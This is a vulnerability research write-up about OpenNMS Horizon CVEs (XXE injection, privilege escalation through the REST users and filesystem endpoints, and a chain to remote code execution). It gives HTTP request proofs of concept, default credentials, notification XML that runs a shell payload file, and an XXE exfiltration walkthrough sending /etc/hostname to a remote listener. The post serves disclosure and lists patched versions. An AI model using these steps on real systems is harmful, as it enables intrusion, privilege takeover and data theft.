Privesc to RCE in “enterprise-grade” OpenNMS

An analysis of CVE-2023–0872, CVE-2023–40315 & more

Erik Wynter
20 min readDec 13, 2023

Introduction

Earlier this year, I decided to do some vulnerability research on OpenNMS, described by the vendor as “the world’s first fully open source enterprise-grade network service monitoring platform”. I picked this target because a network monitoring platform is likely to have interesting functionality that may be abused to achieve code execution. I knew I might not get that lucky of course, because the open source nature meant that I was unlikely to be the first researcher to poke around the codebase. Then again, the term “enterprise-grade” was promising, since that often seems to stand for “riddled with vulnerabilities”. I was not wrong, for while I did not find the Holy Grail of unauthenticated remote code execution (RCE), I did discover several vulnerabilities in OpenNMS Horizon, including two privilege escalation vectors that could be leveraged by certain non-admin users to achieve RCE. Most of these issues have since been patched, resulting in the following CVE’s:

In the below sections, I will describe the vulnerabilities in detail.

Some notes about phrasing throughout this article

As part of my research, I targeted only OpenNMS Horizon. However, the vendor has confirmed that the four vulnerabilities mentioned above also affect OpenNMS Meridian. In this article, I use “OpenNMS” to refer primarily to OpenNMS Horizon. However, many if not most of these statements are likely accurate for OpenNMS Meridian as well.

The base path to the OpenNMS web app is /opennms by default. In this article, this base path is not included in the specified endpoints. For instance, the /rtc/post endpoint mentioned below is actually accessible via /opennms/rtc/post on a typical OpenNMS instance.

CVE-2023–0871 — XXE injection via /rtc/post/

The rtc account

On a fresh OpenNMS install, the web server can be accessed using the default credentials admin:admin. In addition to the admin account, OpenNMS ships with a built-in account called rtc.

Both the admin and rtc accounts are configured with a dedicated security role, and come with a note stating they should not be deleted.

While the official documentation urges users to change the admin password immediately after the first login, this advice is not repeated for the rtc account. Instead, it states that the rtc should not be deleted and that this account

… is used for the communication of the Real-Time Console on the start page to calculate the node and service availability.

It seems likely that the average user will refrain from making changes to this default and required service account, especially because the documentation does not recommend or even suggest this.

The default rtc user password predictably matches the username. However, this account does not have proper dashboard privileges.

In fact, the ROLE_RTC privilege only provides rtc with access to a single endpoint, namely /rtc/post, as defined in opennms-webapp/src/main/webapp/WEB-INF/applicationContext-spring-security.xml:

<intercept-url pattern="/rtc/post/**" access="hasAnyRole('ROLE_RTC')" />

XXE injection via /rtc/post — Analysis

The /rtc/post endpoint is used by the rtc account to send updates about “node and service availability", as mentioned in the documentation. It does this by sending XML data via HTTP POST requests. The below output is an example of such a request containing availability information for one node as it relates to the Network Interfaces category. The format of these requests was obtained by intercepting HTTP traffic on the loopback interface with Wireshark.

POST /opennms/rtc/post/Network+Interfaces HTTP/1.1
Authorization: Basic cnRjOnJ0Yw==
Content-type: text/xml; charset="utf-8"
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/11.0.18
Host: localhost:8980
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 541

<?xml version="1.0" encoding="UTF-8"?>
<euiLevel xmlns="http://xmlns.opennms.org/xsd/rtceui">
<header>
<ver>1.9a</ver>
<created>2023-05-18T12:45:31.089+03:00</created>
<mstation></mstation>
</header>
<category>
<catlabel>Network Interfaces</catlabel>
<catvalue>100.0</catvalue>
<node>
<nodeid>1</nodeid>
<nodevalue>100.0</nodevalue>
<nodesvccount>1</nodesvccount>
<nodesvcdowncount>0</nodesvcdowncount>
</node>
</category>
</euiLevel>

This endpoint uses HTTP basic access authentication (just like the REST API, as discussed later). This means that interacting with /rtc/post is possible on a default OpenNMS install by including the Authorization header with the value Basic cnRjOnJ0Yw== (cnRjOnJ0Yw== is the base64 encoding of rtc:rtc).

The relevant behavior of the /rtc/post endpoint is defined in the doPost method in opennms-webapp/src/main/java/org/opennms/web/category/RTCPostServlet.java. This method includes the following call to the JaxbUtils.unmarshal method:

try (ServletInputStream inStream = request.getInputStream();
InputStreamReader isr = new InputStreamReader(inStream)) {
org.opennms.netmgt.xml.rtc.EuiLevel level = JaxbUtils.unmarshal(org.opennms.netmgt.xml.rtc.EuiLevel.class, isr);

The JaxbUtils.unmarshal method is defined in core/xml/src/main/java/org/opennms/core/xml/JaxbUtils.java. There is a lot of method overloading for unmarshal in this class, but the implementation called from RTCPostServlet is the following, which takes as input a Class object and an InputStream object:

public static <T> T unmarshal(final Class<T> clazz, final InputStream stream) {
try (final Reader reader = new InputStreamReader(stream)) {
return unmarshal(clazz, reader, VALIDATE_IF_POSSIBLE);
} catch (final IOException e) {
throw EXCEPTION_TRANSLATOR.translate("reading stream", e);
}
}

This version of unmarshal then calls the below implementation, which takes as input a Class object, a Reader object, and a boolean value for validate:

public static <T> T unmarshal(final Class<T> clazz, final Reader reader, final boolean validate) {
return unmarshal(clazz, new InputSource(reader), null, validate, false);
}

Next, unmarshal is called again, but this time with five arguments: a Class, and InputSource, null, and two booleans, the second of which is set to false. This brings us to the below implementation of unmarshal, where the fifth argument is assigned to the disableDOCTYPE variable, which is then passed together with the Class object in a call to getXMLFilterForClass:

    public static <T> T unmarshal(final Class<T> clazz, final InputSource inputSource, final JAXBContext jaxbContext, final boolean validate, final boolean disableDOCTYPE) {
final Unmarshaller um = getUnmarshallerFor(clazz, jaxbContext, validate);

LOG.trace("unmarshalling class {} from input source {} with unmarshaller {}", clazz.getSimpleName(), inputSource, um);
try {
final XMLFilter filter = getXMLFilterForClass(clazz, disableDOCTYPE);

The XMLReaderFactory method is also defined in JaxbUtils.java, and looks like this:

    public static <T> XMLFilter getXMLFilterForClass(final Class<T> clazz, boolean disableDOCTYPE) throws SAXException {
final String namespace = getNamespaceForClass(clazz);
XMLFilter filter = namespace == null? new SimpleNamespaceFilter("", false) : new SimpleNamespaceFilter(namespace, true);

LOG.trace("namespace filter for class {}: {}", clazz, filter);
final XMLReader xmlReader = XMLReaderFactory.createXMLReader();
if (disableDOCTYPE) {
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
}
xmlReader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

filter.setParent(xmlReader);
return filter;
} LOG.trace("namespace filter for class {}: {}", clazz, filter);
final XMLReader xmlReader = XMLReaderFactory.createXMLReader();
if (disableDOCTYPE) {
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
}
xmlReader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

filter.setParent(xmlReader);
return filter;
}

This method defines the following behavior:

  • If the getXMLFilterForClass method is called with the disableDOCTYPE boolean set to true, the XMLReader object will be securely configured with the disabling of doctype declarations, external general entities, external parameter entities and external DTD loading.
  • If the getXMLFilterForClass method is called with the disableDOCTYPE boolean set to false, the XMLReader object will not be securely configured because only the loading of external DTDs is disabled in that case, while doctype declarations and external entities are still supported.

We just saw that when unmarshal is called in RTCPostServlet, the disableDOCTYPE boolean is set to false before the call to getXMLFilterForClass, which means that in this scenario, only the loading of external DTDs is rendered impossible, while doctype declarations and external entities are still supported. In order words, the /rtc/post endpoint is vulnerable to XML external entity (XXE) injection.

XXE injection via /rtc/post — Impact with only ROLE_RTC

When an attacker only knows the default rtc account credentials, the impact of this XXE injection vector is limited by two factors:

  • It is a blind XXE vulnerability because the OpenNMS web server does not return the response from the XXE payload.
  • The loading of external DTDs is disabled.

While blind XXE vulnerabilities can typically still be used for data exfiltration by leveraging external DTDs, this technique cannot be applied here precisely because the loading of external DTDs is disabled.
That being said, even in this scenario, the XXE injection vector still represents a security vulnerability because it can be used for interacting with internal and external services via GET requests, which could potentially be used for additional attacks such as blind server-side request forgery (SSRF) attacks.

For a quick PoC, you can use the previous example POST request to /rtc/post and change the XML version declaration to the following (screenshot because Medium does not like XXE injection payloads):

This will force OpenNMS to make a GET request to http://192.168.1.2:1337/pwn. In order to test this, you can start a simple NetCat listener or HTTP server on a remote system, and then edit the payload to point to that IP instead. Upon sending the HTTP POST request to /rtc/post, you should see the request come in on the remote system.

  • Example netcat listener: nc -nvlp 1337
  • Example HTTP server with Python: python3 -m http.server 1337

XXE injection via /rtc/post — Impact with dashboard access

If an attacker also has access to the credentials of an account that can access the main OpenNMS dashboard, which is any user with ROLE_USER or ROLE_ADMIN privileges, the /rtc/post XXE injection vector can be leveraged to read the contents of files on the host. However, the impact of this attack has very serious limitations, because it works only for files that contain a single integer or float. This is because only the following XML parameters are available for injection, all of which can only be set to integer or float values:

  • <catvalue>
  • <node><nodeid>
  • <node><nodevalue>
  • <node><nodesvccount>
  • <node><nodesvcdowncount>

Linux systems actually do come with several default files that contain only a single integer or float, and these numbers could provide some potentially useful information about the target. Files of this type include:

  • /proc/sys/kernel/randomize_va_space: This indicates whether ASLR is enabled on the target system.
  • /proc/sys/kernel/threads-max: This contains the maximum number of threads that can be created on the target system.
  • /proc/sys/kernel/pid_max: This contains the maximum value that can be assigned to a process ID on the target system.
  • /proc/sys/fs/file-max: This contains the maximum number of file handles that can be opened on the target system.
  • /proc/sys/vm/swappiness: This contains the swappiness value of the target system.
  • /proc/sys/net/ipv4/tcp_keepalive_time: This contains the TCP keepalive time of the target system.

It is possible to leak the contents of several of these files in a single request and display them on the OpenNMS start page, as well as the /rtc/category.jsp endpoint. In order to test this, you can send an authenticated HTTP POST request to /rtc/post with the below XML payload:

The contents can then be read via /rtc/category.jsp?category=Network+Interfaces, as the below image shows:

CVE-2023–0872 — Privilege escalation via /rest/users

The /rest/users endpoint

OpenNMS includes a REST API. The documentation covers several API endpoints that are accessible via /rest/<endpoint>, including one called users. The /rest/users endpoint supports four different types of operations that can be specified via the HTTP method:

  • HTTP GET — read user data
  • HTTP POST — add user data
  • HTTP PUT — modify user data
  • HTTP DELETE — remove user data

Privilege escalation via /rest/users — Analysis

The logic for /rest/users is defined in opennms-webapp-rest/src/main/java/org/opennms/web/rest/v1/UserRestService.java. This class includes a method called hasEditRights that determines if a certain user has sufficient privileges to add, edit or remove user information via /rest/users:

    private static boolean hasEditRights(SecurityContext securityContext) {
if (securityContext.isUserInRole(Authentication.ROLE_ADMIN) || securityContext.isUserInRole(Authentication.ROLE_REST)) {
return true;
} else {
return false;
}
}

This shows that edit rights are provided for ROLE_ADMIN users as well as ROLE_REST users. These rights are unlimited, so any user with ROLE_REST can do the following:

  • Use HTTP GET requests to view user information, including the hashed passwords of any and all other configured users, even those with ROLE_ADMIN
  • Use HTTP POST requests to add new users with any possible security role, including ROLE_ADMIN
  • Use HTTP PUT requests to edit any existing user. This includes adding ROLE_ADMIN or other privileges to the current ROLE_REST user.
  • Use HTTP DELETE requests to delete any existing user.

This means that any user with ROLE_REST can escalate their privileges to ROLE_ADMIN (or any other role) via one of three ways:

  1. Obtaining the password hash of a user with ROLE_ADMIN and trying to crack it offline using a tool such as opennms_crack.py. This is the least interesting approach, but still worth mentioning.
  2. Creating a new user with ROLE_ADMIN.
  3. Adding ROLE_ADMIN to the security roles for their account or any other existing user they know the password for (eg the rtc account).

Privilege escalation via /rest/users — PoC

If you have an account with the credentials apiuser:apiuser and that account has only ROLE_REST, you can add ROLE_ADMIN for this user via the following HTTP PUT request:

PUT /opennms/rest/users/apiuser/roles/ROLE_ADMIN HTTP/1.1
Authorization: Basic YXBpdXNlcjphcGl1c2Vy
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/11.0.18
Host: localhost:8980
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

CVE-2023–40315 — Privilege escalation via /rest/filesystem

The /rest/filesystem/ endpoint

OpenNMS does not store user information in the database. Instead, this data is stored in a configuration file available at ${OPENNMS_HOME}/etc/users.xml. Any user with ROLE_FILESYSTEM_EDITOR, can view and edit this file via the filesystem editor.

  • If a user only has ROLE_FILESYSTEM_EDITOR, they can do so via the REST endpoint: /rest/filesystem/contents?f=users.xml.
  • If the user also has ROLE_USER, they can use the UI version of the file editor at /ui/index.html#/file-editor as well.

Privilege escalation via /rest/filesystem — Analysis

The permissions of ROLE_FILESYSTEM_EDITOR on the contents of users.xml have no limits. As a result, any user with this role can escalate their privileges to ROLE_ADMIN (or any other role) via one of three ways:

  1. Viewing the full contents of users.xml in order to obtain the password hash of a user with ROLE_ADMIN, and then attempting to crack this hash. Again, this is the least interesting approach, but it may work if weak passwords are being used.
  2. Creating a new user with ROLE_ADMIN by adding it to the file.
  3. Adding ROLE_ADMIN to the security roles for their account or any other existing user they know the password for (eg the rtc account).

Privilege escalation via /rest/filesystem — PoC

The simplest way to reproduce this issue, is to create a user with ROLE_FILESYSTEM_EDITOR and ROLE_USER privileges and then use the UI file editor at at /ui/index.html#/file-editor to edit the users.xml file in order to either:

  • Add the ROLE_ADMIN role to the current user
  • Create a new admin user by copying an existing user with ROLE_ADMIN, editing the username, and changing the password hash with the hash of an account you know the password for.

In order for changes to users.xml to go into effect, you should save the file, log out of OpenNMS, and then log back in.

If you only have ROLE_FILESYSTEM_EDITOR, you can send the updated users.xml file via a multipart/form-data HTTP POST request to /rest/filesystem/contents?f=users.xml. For instance, for a user with the credentials file:file that has only ROLE_FILESYSTEM_EDITOR, the request would look something like this:

POST /opennms/rest/filesystem/contents?f=users.xml HTTP/1.1
Host: 192.168.91.196:8980
Authorization: Basic ZmlsZTpmaWxl
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------385917928240027663673494596945
Content-Length: 4207
Origin: http://192.168.91.196:8980
Connection: close

-----------------------------385917928240027663673494596945
Content-Disposition: form-data; name="upload"; filename="users.xml"
Content-Type: text/xml

{users.xml contents}
-----------------------------385917928240027663673494596945--

Privilege Escalation to RCE via CVE-2023–0872 or CVE-2023–40315

The impact of CVE-2023–0872 and CVE-2023–40315 is exacerbated by the fact that OpenNMS has built-in functionality that can be abused by sufficiently privileged users to achieve remote code execution (RCE) on the host system as the opennms user. This means that on OpenNMS instances that are vulnerable to CVE-2023–0872 and CVE-2023–40315, any user account with ROLE_FILESYSTEM_EDITOR or ROLE_REST can be leveraged to gain RCE. The path to RCE that I pieced together based on the documentation and this community post is a bit convoluted, but it takes advantage of the following functionality:

  • OpenNMS can be configured to alert users when a certain event is registered. This can be done by creating a “notification”.
  • Notifications in turn can be configured to trigger a certain action for a certain user or group of users. This requires pointing a notification to a specific “destination path”.
  • A destination path specifies the user or user group that should receive the notification, as well as the “notification command” to execute.
  • A notification command defines the operation to be performed. This can involve calling a specific OpenNMS class, but also running a shell command on the host.
  • While it is possible to directly specify a shell command inside a notification command, this does not work well for a typical reverse shell due to how OpenNMS parses and executes such commands. Fortunately, you can simply create a file with an arbitrary shell payload and then define a notification command that runs /usr/bin/bash against your payload file.

Required privileges for RCE

In order to achieve RCE, a user requires the following roles:

  • ROLE_FILESYSTEM_EDITOR

and

  • ROLE_REST or ROLE_ADMIN

Surprisingly, ROLE_ADMIN is neither sufficient nor required to achieve RCE, since this can also be done via an account with both ROLE_FILESYSTEM_EDITOR and ROLE_REST. The required steps to achieve RCE are described below.

Step 1: Check the supported file extensions

Users with ROLE_FILESYSTEM_EDITOR can create arbitrary files in the ${OPENNMS_HOME}/etc directory. However, only certain file extensions are allowed. The supported extensions can be obtain via a simple HTTP GET request to /rest/filesystem/extensions . On the versions I tested (OpenNMS Horizon 31.0.6, 31.0.7 and 31.0.8), the following extensions were supported:

 
0 "boot"
1 "bsh"
2 "cfg"
3 "dcb"
4 "drl"
5 "groovy"
6 "properties"
7 "xml"

For our purposes, bsh is interesting because it can be used to create files with arbitrary shell payloads. This is not possible for all extensions though. For instance, when a user attempts to save an .xml file, OpenNMS will pass the contents to an XML parser and will throw an error if the payload is not valid XML.

Step 2: Use the filesystem to write a payload to a file

You can use a request such as the following to create a file at ${OPENNMS_HOME}/etc/pwn.bsh with an arbitrary shell payload:

POST /opennms/rest/filesystem/contents?f=pwn.bsh HTTP/1.1
Host: 192.168.91.196:8980
Authorization: Basic ZmlsZTpmaWxl
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------385917928240027663673494596945
Content-Length: 238
Origin: http://192.168.91.196:8980
Connection: close


-----------------------------385917928240027663673494596945
Content-Disposition: form-data; name="upload"; filename="pwn.bsh"
Content-Type: text/plain

MY REVERSE SHELL
-----------------------------385917928240027663673494596945--

Step 3: Create a notificationCommand to execute the payload

Edit ${OPENNMS_HOME}/etc/notificationCommands.xml to add a command that executes our payload. This can be done via a similar HTTP POST request as the one we used for editing users.xml. In this case, the below XML should be inserted into the file, before the closing </notification-commands> tag:

   <command binary="true">
<name>get_shell</name>
<execute>/usr/bin/bash</execute>
<comment>pop thy shell</comment>
<argument streamed="false">
<substitution>/usr/share/opennms/etc/pwn.bsh</substitution>
</argument>
</command>

Step 4: Create a destinationPath for the notificationCommand

Edit ${OPENNMS_HOME}/etc/destinationPaths.xml to add a path pointing to the notification command you specified. This requires setting the command parameter to the name specified for the notification command. In the current example, we can insert the below XML into the file, before the closing </destinationPaths> tag:

   <path name="Get-Shell">
<target>
<name>Admin</name>
<command>get_shell</command>
</target>
</path>

Step 5: Create a notification for the destinationPath

Edit ${OPENNMS_HOME}/etc/notifications.xml to add a notification pointing to the destination path you specified. This requires setting the destinationPath parameter to the path name specified for the destination path. In addition, we need to specify the event that will trigger the notification via the uei parameter. This has to be an event that we can control. Fortunately, OpenNMS has a dedicated event for failed authentication attempts to the web app, which is something even an unauthenticated user can trigger. In our example, we can insert the below XML into the file, before the closing </notifications> tag:

   <notification name=Pwned" status="on">
<uei>uei.opennms.org/internal/authentication/failure</uei>
<rule>IPADDR != '1.1.1.1'</rule>
<destinationPath>Get-Shell</destinationPath>
<text-message>nothing to see here</text-message>
</notification>

Step 6: Reload the OpenNMS configuration

The previous steps required only ROLE_FILESYSTEM_EDITOR privileges. However, in order for our configuration changes to be implemented, the OpenNMS configuration has to be reloaded. This can be done via the REST API, which is why exploitation also requires either ROLE_REST or ROLE_ADMIN privileges. In particular, it requires sending an authenticated HTTP POST request such as the one below to /rest/events .

POST /opennms/rest/events HTTP/1.1
Host: 192.168.91.196:8980
Authorization: Basic {base64-encoded user creds}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/xml
Content-Length: 363
Origin: http://192.168.91.196:8980
Connection: close

<event >
<uei>uei.opennms.org/internal/reloadDaemonConfig</uei>
<source>perl_send_event</source>
<time>2023-05-12T06:43:50+00:00</time>
<host>51c12993e3b6</host>
<parms>
<parm>
<parmName><![CDATA[daemonName]]></parmName>
<value type="string" encoding="text"><![CDATA[Notifd]]></value>
</parm>
</parms>
</event>

Note: OpenNMS does not seem to verify the host parameter, because I got it working with random hexadecimal values. It may even work with any random string.

Step 7: Trigger the event and enjoy your shell

All that’s left to do now, is to start a listener for your shell and then trigger the event you specified in your notification. In our example, that means visiting the OpenNMS login page and entering random credentials. If everything works, you should get a shell as the opennms user. This user has limited privileges. However, on docker installations of OpenNMS these privileges will be enough to obtain the database credentials because those are stored in environment variables that can be viewed via the env command.

Privilege escalation to RCE — Exploit

I have automated the above steps in a Metasploit module. If necessary, this module will also perform privilege escalation via CVE-2023–0872 or CVE-2023–40315. The PR for this module is available here.

The below demo shows the module achieving RCE via CVE-2023–0872

The below demo shows the module achieving RCE via CVE-2023–40315

CVE-2023–40612 — XXE injection via /rest/filesystem

XXE injection via /rest/filesystem — Analysis

The /rest/filesystem endpoint is also vulnerable to XXE injection. The basic functionality for this endpoint is defined in opennms-webapp-rest/src/main/java/org/opennms/web/rest/v1/FilesystemRestService.java. This class defines an uploadFile method that can be triggered via an HTTP POST request to /rest/filesystem/contents. The first part of this method looks like this:

@POST
@Path("/contents")
@Produces(MediaType.TEXT_HTML)
@Consumes(MediaType.MULTIPART_FORM_DATA)
public String uploadFile(@QueryParam("f") String fileName,
@Multipart("upload") Attachment attachment,
@Context SecurityContext securityContext) throws IOException {
if (!securityContext.isUserInRole(Authentication.ROLE_FILESYSTEM_EDITOR)) {
throw new ForbiddenException("FILESYSTEM EDITOR role is required for uploading file contents.");
}
final java.nio.file.Path targetPath = ensureFileIsAllowed(fileName);

// Write the contents a temporary file
final File tempFile = File.createTempFile("upload-", targetPath.getFileName().toString());
try {
tempFile.deleteOnExit();
final InputStream in = attachment.getObject(InputStream.class);
Files.copy(in, tempFile.toPath(), StandardCopyOption.REPLACE_EXISTING);
// Validate it
maybeValidateXml(tempFile);

The thing to note here is that the maybeValidateXml method is called on tempFile, which is a temporary file containing the contents of the uploaded file. The maybeValidateXml method is defined in the same class and looks like this:

    private void maybeValidateXml(File file) {
if (!file.getName().endsWith(".xml")) {
return;
}

final DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setValidating(false);
factory.setNamespaceAware(true);

final CapturingErrorHandler errorHandler = new CapturingErrorHandler();
try {
final DocumentBuilder builder = factory.newDocumentBuilder();
builder.setErrorHandler(errorHandler);
builder.parse(file);
} catch (ParserConfigurationException | SAXException | IOException e) {
throw new BadRequestException(Response.status(Response.Status.BAD_REQUEST)
.entity("Validation failed: " + e.getMessage()).build());
}
}

This method leverages the DocumentBuilderFactory library to call the DocumentBuilder.parse method on the uploaded file. However, DocumentBuilderFactory is vulnerable to XXE by default when using parse(). This can be avoid by explicitly configuring security features, but that does not happen here. For information on how to securely configure DocumentBuilderFactory, you can check out this excellent post.

While this is a blind XXE injection vector, it can still be used to exfiltrate data from the host system by leveraging external DTDs, as shown in the PoC sections below. In addition, it can be used just like the /rtc/post/ XXE vector in order to force the server to make arbitrary HTTP requests to arbitrary hosts, which could potentially be used for additional attacks such as blind SSRF.

XXE injection via /rest/filesystem — PoC

For a quick PoC, you can use the UI file editor to add the following payload as the first line of basically any XML file that is accessible via the filesystem editor:

This will force OpenNMS to make a GET request to http://192.168.1.2:1337/pwn the moment you hit save. In order to test this, you can start a simple NetCat listener or HTTP server on a remote system, and then edit the payload to point to that system. Upon saving the file with your XML payload, you should see the request come in on the remote system.

As mentioned, CVE-2023–40612 can also be used to read files on the host. In order to read the contents of the /etc/hostname file, you can take the following steps:

  • Start a simple HTTP server on a remote host, eg python3 -m http.server 8088
  • Create a DTD file called hostname_exfiltrate.dtd on the remote host in the root directory of your web server (for the python web server that is the directory you started the server from). Add the following contents:

Here, http://192.168.1.2:8088 should be replaced with the IP address and port of your remote web server.

  • Use the UI version of the file editor to add the following XXE payload to the first line of any XML file that is accessible via the file editor:

Once again, make sure to edit the IP address and port to match your remote web server.

  • Hit save, and check the server log, which should show two incoming requests: one GET request to /hostname_exfiltrate.dtd and a second GET request to /?x=[contents of /etc/hostname]. Example output:
# python3 -m http.server 8088
Serving HTTP on 0.0.0.0 port 8088 (http://0.0.0.0:8088/) ...
192.168.1.2 - - [20/Apr/2023 14:43:49] "GET /hostname_exfiltrate.dtd HTTP/1.1" 200 -
192.168.1.2 - - [20/Apr/2023 14:43:49] "GET /?x=wynter-virtual-machine HTTP/1.1" 200

Note: This approach won’t work for files containing newlines, quotes or certain special characters. It may be possible to read at least files with newlines by using an XXE FTP server such as this one, but I have not tried this for this specific vulnerability.

Mitigation

If you are running OpenNMS, make sure to patch against these vulnerabilities by upgrading to Meridian 2023.1.6, 2022.1.19, 2021.1.30, 2020.1.38 or Horizon 32.0.2 or newer.

Bonus: additional issues caused by default rtc credentials

During my analysis of the /rtc/post endpoint, I discovered two additional issues that were reported to the vendor. Both of these could have been fixed by ensuring that a random password is generated for the rtc account during installation. However, the vendor has decided to stick with the default creds because, I don’t know, YOLO?

Information disclosure via HTTP Error responses in /rtc/post/

If an authenticated POST request to /rtc/post contains invalid data that triggers an 500 Server Error response, OpenNMS adds the following sensitive information in the response body:

  • The OpenNMS version number
  • The Java version number
  • The host OS name and version number
  • Information about the Java VM

For a quick PoC, you can submit an invalid, authenticated POST request to /rtc/post/*, such as the following:

POST /opennms/rtc/post/Network+Interfaces HTTP/1.1
Authorization: Basic cnRjOnJ0Yw==
Content-type: text/xml; charset="utf-8"
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/11.0.18
Host: localhost:8980
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 5

HELLO

The server will respond with a 500 Server Error and the response body will contain the aforementioned sensitive information.

Flooding the start page with garbage data via /rtc/post/

The /rtc/post/ endpoint can be used to flood the OpenNMS start page and the /rtc/category.jsp endpoint with tons of garbage node and service availability data. While I was unable to crash OpenNMS with this attack, it does resemble a limited form of Denial-of-Service (DoS) attack because it can be used to indefinitely render the node and service availability data on the start page meaningless, thereby making it impossible to use this data to identify legitimate issues.

The presence of default rtc credentials alone is sufficient to perform this attack, but it certainly helps that when OpenNMS receives data via /rtc/post, it does not verify if the nodeid values in the data correspond with actual nodes in the database.

I wrote a python script in an attempt to demonstrate the impact of this attack to the vendor, but they were not sufficiently impressed to patch the issue. I won’t be sharing this script because I do not see a legitimate use case for it. However, you can enjoy the below video PoC showing what it would be like to try and use OpenNMS while someone is pointing this script at your app.

--

--